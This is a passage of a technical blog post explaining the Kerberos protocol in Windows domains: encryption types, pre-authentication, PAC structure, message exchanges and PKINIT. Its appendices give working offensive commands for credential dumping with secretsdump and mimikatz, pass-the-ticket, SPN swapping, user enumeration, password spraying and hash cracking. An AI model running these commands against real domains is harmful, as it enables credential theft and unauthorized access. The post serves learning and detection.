In this blog post, I’m sharing a compilation of my notes that I took while trying to understand Kerberos and address my own questions. I didn’t conduct any original research, but instead, I reviewed numerous studies and posts by other researchers. While there are many existing blog posts on the topic of Kerberos, my original goal was to clarify the topic for myself, but I think it could be valuable to others as well.

Additionally, feel free to use or modify any of the charts (draw.io sources) that are available at https://github.com/i223t/kerberos102/tree/master/schemas.

As I continued to explore the subject, my notes grew in length, and I decided to divide them into three separate parts for easier consumption.

[Part 1] - Kerberos 102 - Overview

[Part 2] - Kerberos 102 - Delegation

[Part 3] - Kerberos 102 - Cross-Realm Operations

1. Overview

Kerberos [RFC4120] is an extendable third-party authentication protocol designed to work on open (unprotected) networks. It uses shared symmetric keys (usually, derived from the user`s password) to securely exchange a session key for the client and server to use. Microsoft specifies Windows behaviors that differ from the Kerberos Protocol in the [MS-KILE] extension. Extensions to Kerberos can provide for the use of public key cryptography during certain phases of the authentication protocol.

Kerberos also provides:

• Mutual authentication by using shared secret key cryptography
• Delegation (e.g. one server accessing resources on another server on behalf of the original request)
• Cross-Realm Operations by using the inter-realm key

In a basic scenario there are 3 parties are involved:

• The Client
• The Apllication (Service)
• The Trusted Third Party - Key Distribution Center (KDC)

https://learn.microsoft.com/en-us/windows/win32/secauthn/key-distribution-center:

The KDC for a domain is located on a domain controller, as is the Active Directory for the domain. Both services are started automatically by the domain controller’s Local Security Authority (LSA) and run as part of the LSA’s process. Neither service can be stopped. If the KDC is unavailable to network clients, then the Active Directory is also unavailable—and the domain controller is no longer controlling the domain. The system ensures availability of these and other domain services by allowing each domain to have several domain controllers, all peers. Any domain controller can accept authentication requests and ticket-granting requests addressed to the domain’s KDC.

Encryption methods

Based on the MS-KILE specification Windows MUST support the Advanced Encryption Standard (AES) encryption types (are not used in Windows 2000, Windows XP, and Windows Server 2003):

• AES256-CTS-HMAC-SHA1-96 [type 18] ([RFC3962] section 7)
• AES128-CTS-HMAC-SHA1-96 [type 17] ([RFC3962] section 7)

and SHOULD support the following encryption types, which are listed in order of relative strength:

• RC4-HMAC [type 23] [RFC4757]
• DES-CBC-MD5 [type 3] [RFC3961]
• DES-CBC-CRC [type 1] [RFC3961]

Kerberos V5 encryption type assigned numbers are specified in [RFC3961] section 8, [RFC4757] section 5, and [RFC3962] section 7.

Based on RFC6649 and RFC8429 Kerberos implementations and deployments SHOULD NOT implement or deploy the DES or RC4 based encryption types. Since Windows 7 and Server 2008 R2 DES encryption types for the Kerberos authentication protocol are disabled by default, but RC4 is still in use.

There is a common misconception that Kerberos tickets are encrypted based on the NT hash of the user’s password. In fact, Kerberos tickets are encrypted using the Kerberos keys, which are derived from the user’s password (and additional data such as user and domain name in case of AES-based encryption types) or other factors, such as smart cards or biometric authentication, depending on the specific configuration.

For the RC4 based encryption type, the keys are derived from a user’s NT password hash (MD4).

For the AES-based encryption types, the keys are derived using the PBKDF2 (Password-Based Key Derivation Function 2) algorithm. The PBKDF2 function takes several parameters, including a user’s password, a salt, and an iteration count. The salt is unique to each user and is typically constructed using the user’s domain name and username. The cleartext password is used as the passphrase for the key derivation process.

Kerberos keys are stored in the NTDS database on the domain controllers and can be extracted using different tools. For example, the secretsdump tools from the impacket package can be used:

1

impacket-secretsdump domain/administrator:'password'@<dc-ip> -just-dc

Pre-authentication

Pre-authentication requires that requestors prove their identity before the KDC will issue a ticket for a particular principal. There are several types of pre-authentication defined by the Kerberos including password-based and public key cryptography.

The simplest form of preauthentication is known as PA-ENC-TIMESTAMP. This is simply the current timestamp encrypted with the user’s key that should be sent to the KDC in the KRB_AS_REQ request. The KerberosTime value used for the timestamp is an ASCII string of the form YYYYMMDDHHmmssZ.

Each host on the network MUST have a clock which is “loosely synchronized” to the time of the other hosts; this synchronization is used to reduce the bookkeeping needs of application servers when they do replay detection. The degree of “looseness” can be configured on a per-server basis, but it is typically on the order of 5 minutes.

In Active Directory environment, the requirement for pre-authentication is determined by the “Do not require pre-authentication” flag, which is a setting on each user account. By default, this flag is not set, which means that pre-authentication is required for all users.

In scenarios where there is a trust relationship between the authentication service and another system that has already authenticated the user, the application may not require pre-authentication and may set the DONT_REQ_PREAUTH flag for the user (ex: Alfresco Authentication Subsystems). This can be used, for example, in single sign-on (SSO) authentication scenarios.

In Windows pre-authentication requirement can be disabled per user based:

However, this can also make the authentication process vulnerable to an attack known as AS-REP roasting.

If the KRB_AS_REQ request was sent the KDC generates different responses for existent and non-existent users. It can be used for Kerberos user enumeration attack.

Windows clients always send an initial AS-REP request without a PA-ENC-TIMESTAMP. By default, pre-authentication is required, so the KDC server responds with an error (including acceptable pre-authentication methods) and closes the connection. The client then has to send another request with an encrypted timestamp value.

The KRB_ERROR message is not integrity protected, it is quite possible for an intruder to synthesize or modify it. In particular, this means that the client SHOULD NOT use any fields in this message for security-critical purposes, such as setting a system clock or generating a fresh authenticator. The message can be useful, however, for advising a user on the reason for some failure.

e-data field contains additional data about the error for use by the application to help it recover from or handle the error. If the errorcode is KDC_ERR_PREAUTH_REQUIRED, then the e-data field will contain an encoding of a sequence of padata fields, each corresponding to an acceptable pre-authentication method and optionally containing data for the method.

Privilege Attribute Certificate (PAC)

The Kerberos protocol does not provide authorization. The Privilege Attribute Certificate (PAC) was created to provide this authorization data for Kerberos Protocol Extensions. PAC structure encodes authorization information, which consists of group memberships, additional credential information, profile and policy information, and supporting security metadata.

When using Kerberos ticket services to authenticate on other systems, the PAC can be retrieved from a user’s ticket to determine their privilege level without having to query the domain controller.

The PAC is a structure included in nearly every ticket (Authorization Data). It also contains four signatures used for validation: the server checksum, privileged server (KDC) checksum, Ticket checksum and the FullPAC checksum. Services can verify the KDC signature by communicating with the KDC, although this does not happen often.

Performing PAC validation implies a cost in terms of response time and bandwidth usage. It requires bandwidth usage to transmit requests and responses between an application server and the DC. This may cause some performance issues in high volume application servers

In most cases PAC validation (for the KDC checksum) is not occurred. Two main conditions prevent PAC validation from occurring in Windows OS [Microsoft Explanation]:

• The application has the SeTcbPrivilege privilege (“Act as part of the operating system”). This is true for all the Windows service accounts (Local system, network service and local service).
• The application is a service and the ValidateKdcPacSignature registry key is set to disable PAC validation (default settings)

PAC doesn’t help to prevent Golden or Silver Tickets or similar attacks when a service account password is compromised.

Based on [MS-APDS] PAC validation process contains several steps:

1. The client tries to access a resource requiring Kerberos authentication. The client sends an AP-REQ message to request authentication from the server.
2. The server passes the PAC to the operating system to receive an access token. The server operating system forwards the PAC signature in the AP-REQ to the domain controller for verification in a KERB_VERIFY_PAC message.
3. The domain controller verifies the signature on the response and returns the result to the server. The error is returned as the appropriate RPC status code.
4. The server verifies the AP-REQ, and sends an AP-REP if the verification is successful.

PAC structure

The PACTYPE structure is an array of PAC_INFO_BUFFER structures each of which defines the type and byte offset to a buffer of the PAC. The PAC_INFO_BUFFER array has no defined ordering. Therefore, the order of the PAC_INFO_BUFFER buffers has no significance. However, once the Key Distribution Center (KDC) and server signatures are generated, the ordering of the buffers MUST NOT change, or signature verification of the PAC contents will fail.

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/21181737-74fd-492c-bfbd-0322993a9061

PAC may contain:

• Logon information
  • The KERB_VALIDATION_INFO structure defines the user’s logon and authorization information provided by the DC: UserId, PrimaryGroupId, GroupIds, UserFlags, UserSessionKey, LogonDomainId, ExtraSids, ResourceGroupDomainSid, ResourceGroupIds, ….
• Credentials information
  • When the Kerberos authentication is performed through means other than a password, the PAC includes an element that is used to send credentials for alternate security protocols to the client during initial logon. Typically, this PAC credentials element is used when a public key form of authentication, such as that specified in PKINIT [RFC4556], is used to establish the Kerberos authentication. Because the information in the PAC credentials element is sensitive (PAC credentials essentially contains password equivalents), the information MUST be protected. This element is encrypted, as specified in PAC_CREDENTIAL_INFO (section 2.6.1). The outermost PAC_CREDENTIAL_INFO structure contains an encrypted structure, along with the encryption type, as an indicator of how to decrypt it.
• Server checksum
  • Two PAC_SIGNATURE_DATA structures are appended to the PAC which stores the server and KDC signatures. PAC_SIGNATURE_DATA contains: SignatureType, Signature, RODCIdentifier (When the KDC is not an RODC, this field does not exist). *Server Signature - The KDC will use the long-term key that the KDC shares with the server, so that the server can verify this signature on receiving a PAC. The server signature is a keyed hash of the entire PAC message, with the Signature fields of both PAC_SIGNATURE_DATA structures set to zero**. The key used to protect the ciphertext part of the response is used. The checksum type corresponds to the key unless the key is DES, in which case the KERB_CHECKSUM_HMAC_MD5 key is used. The resulting hash value is then placed in the Signature field of the server’s PAC_SIGNATURE_DATA structure.
• KDC (privilege server) checksum
  • KDC Signature - The KDC will use KDC (krbtgt) key, so that other KDCs can verify this signature on receiving a PAC. The KDC signature is a keyed hash of the Server Signature field in the PAC message (KERB_CHECKSUM_HMAC_MD5, HMAC_SHA1_96_AES256, HMAC_SHA1_96_AES128)
• Ticket checksum

  • The Ticket Checksum was introduced to protect the encrypted part of the ticket from modification. Checksum covers the encrypted part of the ticket with the PAC set to 0 (a single byte set to zero). The ticket signature SHOULD be included in tickets that are not encrypted to the krbtgt account (including the change password service) or to a trust account. The resulting hash is placed in the Signature field of the KDC’s PAC_SIGNATURE_DATA structure

    It is a keyed hash of the ticket being issued less the PAC itself. To compute the data to be checksummed, first the KDC must otherwise complete the TGT-REQ and construct the final service ticket.  The ad-data in the PAC’s AuthorizationData element is replaced with a single zero byte, and the EncTicketPart is encoded using the ASN.1 Distinguished Encoding Rules (DER).

• FullPAC Checksum
  • The FullPAC Checksum was introduced to protect the PAC from an RC4 attack. As a result, Microsoft released an OOB patch in the November 2022 patches. As it stands, this signature is in audit mode until October 2023 when Microsoft will begin automatic enforcement of this signature.
• Client name and ticket information
  • The PAC_CLIENT_INFO structure is a variable length buffer of the PAC that contains the client’s name and authentication time. It is used to verify that the PAC corresponds to the client of the ticket.
• Constrained delegation information
  • It lists the services that have been delegated through this Kerberos client and subsequent services or servers. The list is used only in Service for User to Proxy (S4U2proxy) [MS-SFU] requests. This feature could be used multiple times in succession from service to service, which is useful for auditing purposes.
• User principal name (UPN) and Domain Name System (DNS) information
  • The UPN_DNS_INFO structure contains the client’s UPN, fully qualified domain name (FQDN), SAM name (optional), and SID (optional). It is used to provide the UPN, FQDN, SAM name, and SID that corresponds to the client of the ticket.
• Client claims information
  • For implementations that use a Windows authorization model, it is used to populate a Token/Authorization Context as defined in [MS-DTYP] section 2.5.2. The client claims information structure is not supported in Windows 2000, Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, or Windows Server 2008 R2.
• Device information
  • For implementations that use a Windows authorization model, it is used to populate a Token/Authorization Context as defined in [MS-DTYP] section 2.5.2. Should contain the device’s logon and authorization information provided by the DC: UserId, PrimaryGroupId, AccountDomainId, AccountGroupCount, AccountGroupIds, SidCount, ExtraSids, DomainGroupCount, DomainGroup.
• Device claims information
  • The device claims information structure is not supported in Windows 2000, Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, or Windows Server 2008 R2.
• PAC Attributes
  • Indicates that the buffer contains attribute bits for the PAC.
• PAC Requestor
  • Indicates that the buffer contains the SID of principal that requested the PAC.

Principal Names

In Kerberos, a principal name is a unique identifier for a network entity, such as a user or service, that participates in Kerberos authentication and authorization.

Service and Client principal names (sname, cname) can have different types and formats. MS-KILE defines Server Principal Lookup and Client Principal Lookup procedures for lookups.

Some of the examples of formats which are supported for the NT-ENTERPRISE type as it pointed here:

• userPrincipalName
• sAMAccountName
• sAMAccountName@DomainNetBIOSName
• sAMAccountName@DomainFQDN
• DomainNetBIOSName
• DomainFQDN

NT-X500-PRINCIPAL type supports DNs.

Service Principal Names define what services run under the accounts security context. The SPN identity is a Windows domain user account that has been mapped to the SPN. This mapping allows the KDC to identify which kerberos keys should be used in the communication.

Some of SPN examples:

• HTTP/web.hpbank.local
• MSSQLSvc/MSSQL01.hpbank.local
• CIFS/DC01.hpbank.local

In Active Directory, SPNs are bound to accounts via the LDAP attribute named “servicePrincipalName”:

Some of the built-in SPNs can be found here

Different SPN should be requested to get access to different services:

Message Exchanges

The RFC specifies six messages (five mandatory and one optional), grouped into three pairs of sub-protocols:

• The authentication service (AS) exchange:
  • Kerberos authentication service request - KRB_AS_REQ
  • Kerberos authentication service response - KRB_AS_REP
• The ticket granting service (TGS) exchange:
  • Kerberos ticket-granting service (TGS) request - KRB_TGS_REQ
  • Kerberos ticket-granting service (TGS) response - KRB_TGS_REP
• The client/server (AP) exchange:
  • Kerberos application server request - KRB_AP_REQ
  • (optional) Kerberos application server response - KRB_AP_REP

https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/

The following steps describe data exchange that typically occurs while a user (hpbank/user) tries to get access to a server (web.hpbank.local) using the SMB service:

1. KRB_AS_REQ

Firstly, the user must get a ticket-granting ticket (TGT) from the Key Distribution Center (KDC). To achieve this, a KRB_AS_REQ request must be sent. The client presents its principal name and can present pre-authentication information.

The following picture shows a KRB_AS_REQ request structure with some details based on the real example of communication in the Windows environment:

The request contains:

• Timestamp (patimestampt, pausec (optional)) encrypted based on the client kerberos key, to authenticate user and prevent replay attacks
• Request to include a PAC (Privilege Attribute Certificate) in the ticket (include-pac)
• Flags requested for the resulting ticket (KDC options)
  • Most common are:
    • Forwardable: This flag indicates whether the ticket can be forwarded to another service or server. If this flag is set, the ticket can be forwarded, otherwise it cannot.
    • Renewable: This flag indicates whether the ticket can be renewed. If this flag is set, the ticket can be renewed for a certain period of time. When Kerberos tickets are renewable, session keys are refreshed periodically without issuing a completely new ticket.
    • Initial: This flag indicates whether the ticket is an initial ticket, which is obtained when the user first logs in to the network. If this flag is set, the ticket is an initial ticket.
    • Pre-authentication Required: This flag indicates whether the user needs to be authenticated before the ticket can be used. If this flag is set, the user must be authenticated before the ticket can be used.
    • Proxiable: This flag indicates whether the ticket can be used to authenticate to another service or server on behalf of the user. If this flag is set, the ticket can be used to authenticate to another service.
    • Anonymous: This flag indicates whether the user’s identity is hidden in the ticket. If this flag is set, the user’s identity is hidden.
    • Forwarded: This flag indicates whether the ticket has been forwarded from another service or server. If this flag is set, the ticket has been forwarded.
    • Invalid: This flag indicates whether the ticket is invalid or expired. If this flag is set, the ticket is invalid.
    • Renewable-OK: This flag indicates whether the ticket can be renewed, but only if the ticket-granting ticket (TGT) used to obtain the ticket is also renewable. If this flag is set, the ticket can be renewed if the TGT is also renewable.
• Client Principal Name (cname)
• Domain name (realm)
• Service Principal Name (SPN) associated with the krbtgt account (sname)
• Requested lifetime (till) and absolute expiration time for the ticket (rtime) in case of renewable tickets
• Client nonce
• Supported encryption types (etype)
  • Values in the current example (Windows 10, no security patches, default domain config):
    • eTYPE-AES256-CTS-HMAC-SHA1-96
    • eTYPE-ARCFOUR-HMAC-MD5
    • eTYPE-ARCFOUR-HMAC-OLD
    • eTYPE-ARCFOUR-MD4
    • eTYPE-ARCFOUR-HMAC-MD5-56
    • eTYPE-ARCFOUR-HMAC-OLD-EXP
• Addresses from which the requested ticket is to be valid (addresses)
• enc-authorization-data can only be present in the TGS_REQ requests
• Additional tickets MAY be optionally included in a request to the ticket-granting server. If the ENC-TKT-IN-SKEY option has been specified, then the session key from the additional ticket will be used in place of the server’s key to encrypt the new ticket. When the ENC-TKT-IN-SKEY option is used for user-to-user authentication, this additional ticket MAY be a TGT issued by the local realm or an inter-realm TGT issued for the current KDC’s realm by a remote KDC. If more than one option that requires additional tickets has been specified, then the additional tickets are used in the order specified by the ordering of the options bits.

A quite interesting field is the ‘from’ field. According to the RFC, it’s possible to use ‘Postdated Tickets’ since applications may occasionally need to obtain tickets for use much later. However, it is quite dangerous and is not supported by MS-KILE (Windows) implementations.

2. KRB_AS_REP

The authentication server looks up the client and server principals named in the KRB_AS_REQ in its database, extracting their respective keys. If required, the server pre-authenticates the request, and if the pre-authentication check fails, an error message with the code KDC_ERR_PREAUTH_FAILED is returned. If the server cannot accommodate the requested encryption type, an error message with code KDC_ERR_ETYPE_NOSUPP is returned. Otherwise it it must respond with a KRB_AS_REP contained 2 parts:

• Encrypted data (encrypted based on the user kerberos key) that includes:
  • randomly generated session key
  • nonce (same as was used in the initial request)
  • expiration time
• TGT (Ticket Granting Ticket) that is basically a copy of the previous part, but it contains a PAC and it is encrypted based on the krbtgt user key.

The session key is the same for both parts and can be used in the communication between the KDC and the client in the future.

Time fields:

• authtime - time of initial authentication for the named principal
• starttime - specifies the time after which the ticket is valid. Together with endtime, this field specifies the life of the ticket
• endtime - This field contains the time after which the ticket will not be honored (its expiration time)
• renew-till - It indicates the maximum endtime that may be included in a renewal. It can be thought of as the absolute expiration time for the ticket, including all renewals.

Time restrictions settings can be configured using GPO (Computer ConfigurationSettingsSettingsPoliciesPolicy).

The expiration time of the ticket is set to the minimum of the following:

• The expiration time (endtime) requested in the KRB_AS_REQ message.
• The ticket’s start time plus the maximum allowable lifetime associated with the client principal (the authentication server’s database includes a maximum ticket lifetime field in each principal’s record).
• The ticket’s start time plus the maximum allowable lifetime associated with the server principal.
• The ticket’s start time plus the maximum lifetime set by the policy of the local realm.

Both Server and KDC Checksums of the PAC are culculated using the krbtgt user kerberos key.

3. KRB_TGS_REQ

After receiving the TGT, the client makes a request (KRB-TGS-REQ) to the Ticket Granting Server (TGS). The request contains a TGT and an authenticator which is encrypted with the client’s session key.

4. KRB_TGS_REP

1. When the KDC receives a KRB_TGS_REQ, the KDC decrypts the TGT with its secret key and extracts the user’s logon session key.
2. The KDC uses the logon session key to decrypt the user’s authenticator message and evaluates it. If the authenticator passes the test, KDC checks if the TGT is still valid according to the decrypted timestamps
3. The KDC extracts the user’s authorization data from the TGT and invents a session key for the user to share with the requested server.
4. The KDC resolves service principal name and extracts it’s kerberos key.
5. The KDC generates a random service session key and encrypts one copy with the user’s logon session key (TGT session key).
6. The KDC embeds another copy of the service session key in a ticket, along with PAC, and encrypts the ticket with the service`s kerberos key.
7. The KDC sends these credentials back to the client by replying with a message of type KRB_TGS_REP (Kerberos Ticket-Granting Service Reply).

The service ticket includes information such as service name, client id, expiry date, a service session key, the client’s address etc. One copy of the service session key is encrypted with client’s logon session key and inserted into the response.

When the client receives the reply, it decrypts the service session key with the user’s logon session key and stores the service session key in the ticket cache.

5. KRB_AP_REQ

To finish, if everything went well, the user already has a valid TGS to interact with service. In order to use it, user must send to the AP a KRB_AP_REQ message:

KRB_AP_REQ includes:

• Service Ticket with service session key
• Authenticator (timestamp encrypted on the current service key)

If user privileges are rigth, this can access to service.

Here is the example of the SMB communication:

If is the case, which not usually happens, the AP will verify the PAC against the KDC. And also, if mutual authentication is needed it will respond to user with a KRB_AP_REP message.

Renewable Tickets

In certain cases, applications may require tickets that remain valid for extended periods. However, this presents a security risk as the credentials can be susceptible to theft during the entire duration, and the stolen credentials would remain valid until the ticket expires. Using short-lived tickets and renewing them frequently requires the client to have access to its secret key for an extended period, which is also risky.

To address this issue, renewable tickets can be employed. These tickets have two expiration times: the first is when the current ticket expires, and the second is the maximum allowed expiration time for an individual ticket. To renew the ticket, the application client must present the renewable ticket to the KDC periodically (i.e., before it expires), specifying the RENEW option in the KDC request (TGS-REQ). The KDC then issues a new ticket with a new session key and a later expiration time, leaving all other ticket fields unaltered (TGS-REP).

PKINIT

The Public Key Cryptography for Initial Authentication in Kerberos (PKINIT) protocol enables the use of public key cryptography in the initial authentication exchange (that is, in the Authentication Service (AS) exchange) of the Kerberos protocol.

Microsoft [MS-PKCA] extension specifies using Public Key Cryptography for Initial Authentication (PKINIT) in Kerberos Protocol where it differs from [RFC4556]. The key distribution center (KDC) should have an X.509 public key certificate, issued by a certificate authority (CA) and trusted by the clients in the Kerberos realm.

1. PK_AS_REQ

Firstly, to authenticate itself a get a TGT ticket, the user must send a PK_AS_REQ request. The client presents its certificate (signed by the Certificate Authority) and an authenticator (Time).

The following picture shows a PK_AS_REQ request structure. It is not totally accurate, but provides an idea how it looks like:

The KDC provides 2 methods to encrypt the session key:

1. Diffie–Hellman Key Delivery - allows the KDC and the client to securely establish a shared session key that cannot be intercepted by attackers performing passive man-in-the-middle attacks, even if the attacker has the client’s or the KDC’s private key. The session key is also stored inside the encrypted part of the TGT, which is encrypted with the secret key of the KRBTGT account. The Diffie-Hellman key delivery method is supported in Windows Vista and subsequent versions of Windows
2. Public Key Encryption Key Delivery - uses the KDC’s private key and the client’s public key to envelop a session key generated by the KDC.

2. PK_AS_REP

The KDC verifies the client’s signature in the signedAuthPack field. If, while processing the certification path, the KDC determines that the signature on one of the certificates in the signedAuthPack field is invalid, it returns a KRB-ERROR message. In addition to validating the client’s signature, the KDC MUST also check that the client’s public key used to verify the client’s signature is bound to the client principal name specified in the AS-REQ.

If everything is OK KDC provides a response with an ecnrypted TGT and a client`s part.

PAC_CREDENTIAL_INFO structure containing the NTLM keys (i.e. LM and NT hashes) of the authenticating user. This feature allows users to switch to NTLM authentications when remote servers don’t support Kerberos, while still relying on an asymmetric Kerberos pre-authentication verification mechanism (i.e. PKINIT).

Appendix 1. Basic usage

Manual requests and basic tickets usage

It’s possible to request tickets manually using impacket, Rubeus or other tools.

Impacket

1
2
3
4
5
6
7

#TGT
#Given a password, hash, aesKey it will request a TGT and save it as ccache
python getTGT.py contoso.com/user:[password]

#Service Tickets
#Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache
python getST.py -spn cifs/contoso-dc contoso.com/user:[password]

With hashes - RC4 will be used for ticket encryption, that can be (and probably will be) detected by SOC (Sigma Rule).

So, using a password or AES key is the preferable way since it allows to use AES256 which is more common.

Rubeus

1
2
3
4
5
6
7
8
9
10

#Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
#Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy]
Rubeus.exe asktgt /domain:hpbank.local /user:user /password:P@ssw0rd /enctype:AES256 /nowrap

#Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:
#Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/targetdomain] [/u2u] [/targetuser] [/servicekey:PASSWORDHASH] [/asrepkey:ASREPKEY] [/proxyurl:https://KDC_PROXY/kdcproxy]
Rubeus.exe asktgs /service:cifs/web.hpbank.local /ticket:doIE+jCCBPagAwI....

#Renew
Rubeus.exe renew /ticket:doIE+jCCBP

Tickets can be exported from a running OS:

1
2
3
4
5
6
7
8

#mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

#rubeus
Rubeus.exe dump
# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<base64_ticket>"))

Change SPN in Service Tickets manually:

Since SPN in Serivce Tickets is not encrypted it’s possible to change it. It can be usefull in situations when you have a ST for a high privilege account, but for a non usefull service (ex: mssqlsvc→host):

1
2

# it' possible to change the service manually using https://raw.githubusercontent.com/fortra/impacket/a67c44cb8216daac48088e5b94d378418ab75533/examples/tgssub.py 
python3 tgssub.py -in administrator.ccache -out administrator2.ccache -altservice host/mssql01.hpbank.local

Tickets usage:

1
2
3
4
5
6
7
8
9
10
11
12

#Windows
#Submit a TGT, optionally targeting a specific LUID (if elevated):
Rubeus.exe ptt </ticket:BASE64 | kerberosFILE.KIRBI> [/luid:LOGINID]
psexec.exe

#Linux
KRB5CCNAME=/home/kali/admin.ccache 
impacket-wmiexec -k -no-pass hpbank.local/admin@dc01.hpbank.local
#any other impacket tools
impacket-psexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass
impacket-smbexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass
impacket-wmiexec <domain_name>/<user_name>@<remote_hostname> -k -no-pass

Converting between ticket formats

1
2

impacket-ticketConverter admin.ccache admin.kirbi
impacket-ticketConverter admin.kirbi admin.ccache

Kerberos keys calculation

Kerberos keys can be extracted

1
2
3
4
5

#impacket
impacket-secretsdump domain/administrator:'password'@<dc-ip> -just-dc

#mimikatz
kerberos::hash /domain:hpbank.local /user:pentest01 /password:Passw0rd

Calculated in Windows:

1
2

#Get-KerberosAESKey.ps1
https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372

Also, based on the “Relaying” Kerberos attack toolkit (by @dirkjanm) the keys can be calculated with the following Python code using impacket [source - https://snovvcrash.rocks/2021/05/21/calculating-kerberos-keys.html]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

#!/usr/bin/env python3

from binascii import unhexlify, hexlify

from impacket.krb5 import constants
from impacket.krb5.crypto import Key, string_to_key
from Cryptodome.Hash import MD4

allciphers = {
    'rc4_hmac_nt': int(constants.EncryptionTypes.rc4_hmac.value),
    'aes128_hmac': int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
    'aes256_hmac': int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)
}

def printKerberosKeys(password, salt):
    for name, cipher in allciphers.items():
        if cipher == 23:
            md4 = MD4.new()
            md4.update(password)
            key = Key(cipher, md4.digest())
        else:
            fixedPassword = password.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
            key = string_to_key(cipher, fixedPassword, salt)

        print(f'    * {name}: {hexlify(key.contents).decode("utf-8")}')

def printMachineKerberosKeys(domain, hostname, hexpassword):
    salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), hostname.lower().encode('utf-8'), domain.lower().encode('utf-8'))
    rawpassword = unhexlify(hexpassword)
    print(f'{domain.upper()}\\{hostname.upper()}$')
    print(f'    * Salt: {salt.decode("utf-8")}')
    printKerberosKeys(rawpassword, salt)

def printUserKerberosKeys(domain, username, rawpassword):
    salt = b'%s%s' % (domain.upper().encode('utf-8'), username.encode('utf-8'))
    rawpassword = rawpassword.encode('utf-16-le')
    print(f'{domain.upper()}\\{username}')
    print(f'    * Salt: {salt.decode("utf-8")}')
    printKerberosKeys(rawpassword, salt)

printUserKerberosKeys(
    domain='hpbank.local',
    username='da',
    rawpassword='P@ssw0rd'
)

Wireshark kerberos blobs decryption

Wireshark supports kerberos communication decryption using a keytab file containing pairs of Kerberos principals and encryption keys.

Based on the github code provided by @dirkjanm it’s possible to generate a such file manually. I modified the script a bit to use output from the Impacket secretsdump tool. It creates a keytab file based on the extracted kerberos keys for all domain users and computers.

The modified script is available here.

Here is an example how to use it:

1
2

impacket-secretsdump hpbank.local/administrator:'P@ssw0rd2'@192.168.0.122 -just-dc -outputfile hpbank
python3 secretsdump2keytab.py -i hpbank.ntds.kerberos,dev.hpbank.ntds.kerberos,test.ntds.kerberos -o keytab.keytab

It Wireshark you need to configure the file path:

Edit → Preferences → Protocols → KRB5 → Set Kerberos keytab file

After that Wireshark should be able to decrypt kerberos communications:

Appendix 2. Most Common Attacks

User Enumeration and Bruteforce

Kerberos User Enumeration is based on a feature of the protocol - the KDC service returns different errors for existent/non-existent users:

• KDC_ERR_C_PRINCIPAL_UNKNOWN - User doesn’t exist
• KDC_ERR_CLIENT_REVOKED - User disabled/locked
• KDC_ERR_PREAUTH_REQUIRED - User exists

In a case when the AS_REQ is sent without pre-authentication it generates a Windows event ID 4768 but it doesn’t count as a login failure. A lot of 4768 events for different users may point to a user enumeration attack attempt.

Kerbrute tool can be used to automate the process (uses AES256 encryption):

1

kerbrute_linux_amd64 userenum -d hpbank.local --dc dc01.hpbank.local usernames.txt

It also can be used for bruteforce or password spray attacks:

1

kerbrute_linux_amd64 passwordspray -d hpbank.local --dc dc01.hpbank.local usernames.txt P@ssw0rd

The main advantage of this approach is that it generates much less events than a more common SMB bruteforce using crackmapexec or patator tools.

AS-REQ Roasting

If an attacker is able to intercept a first AS-REQ request which contains pre-authentication information (in most cases) they can try to run an offline bruteforce attack to get a user`s password.

As it was shown before the authenticator (timestamp) is encrypted based on a user`s kerberos key:

Hashcat tool can be used to bruteforce the encrypted data for different encryption types:

1
2
3
4
5
6

7500 - Kerberos 5, etype 23 (RC4), Pre-Auth (3599.6 MH/s RTX4090)
19800 - Kerberos, etype 17 (AES128), Pre-Auth (5135.3 kH/s RTX4090)
19900 - Kerberos, etype 18 (AES256), Pre-Auth (2571.6 kH/s RTX4090)

hashcat -O -m 19900 hash.txt pass.txt
$krb5pa$18$da$HPBANK.LOCAL$b4cdf79f8ab3667a19247c601b62630b6e9393e48f67c044bdc3f98dab67357e4803346c6856e67b8e44e169cc71dd636ca363a853885d7b:P@ssw0rd

AS-REP Roasting

If “Do not require pre-authentication” flag is set to the account it makes it vulnerable for AS-REP Roasting attack.

In this attack, an attacker can send an authentication request (AS-REQ) to the KDC on behalf of the user without providing an authenticator (encrypted timestampt). The KDC will respond with an AS-REP message that includes a part, which is encrypted using the user’s kerberos key (derived from user`s password or hash).

The attacker can attempt to crack the encrypted part offline by guessing the user’s password.

Enumeration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

#ActiveDirectory module
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name

#Pure Powershell
$root = [ADSI]"LDAP://dc=hpbank,dc=local"
$search = new-Object System.DirectoryServices.DirectorySearcher($root)
$search.Filter ="(&(objectCategory=User)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$search.FindAll()

#PowerView
Get-DomainUser -PreauthNotRequired -verbose

#ldapsearch
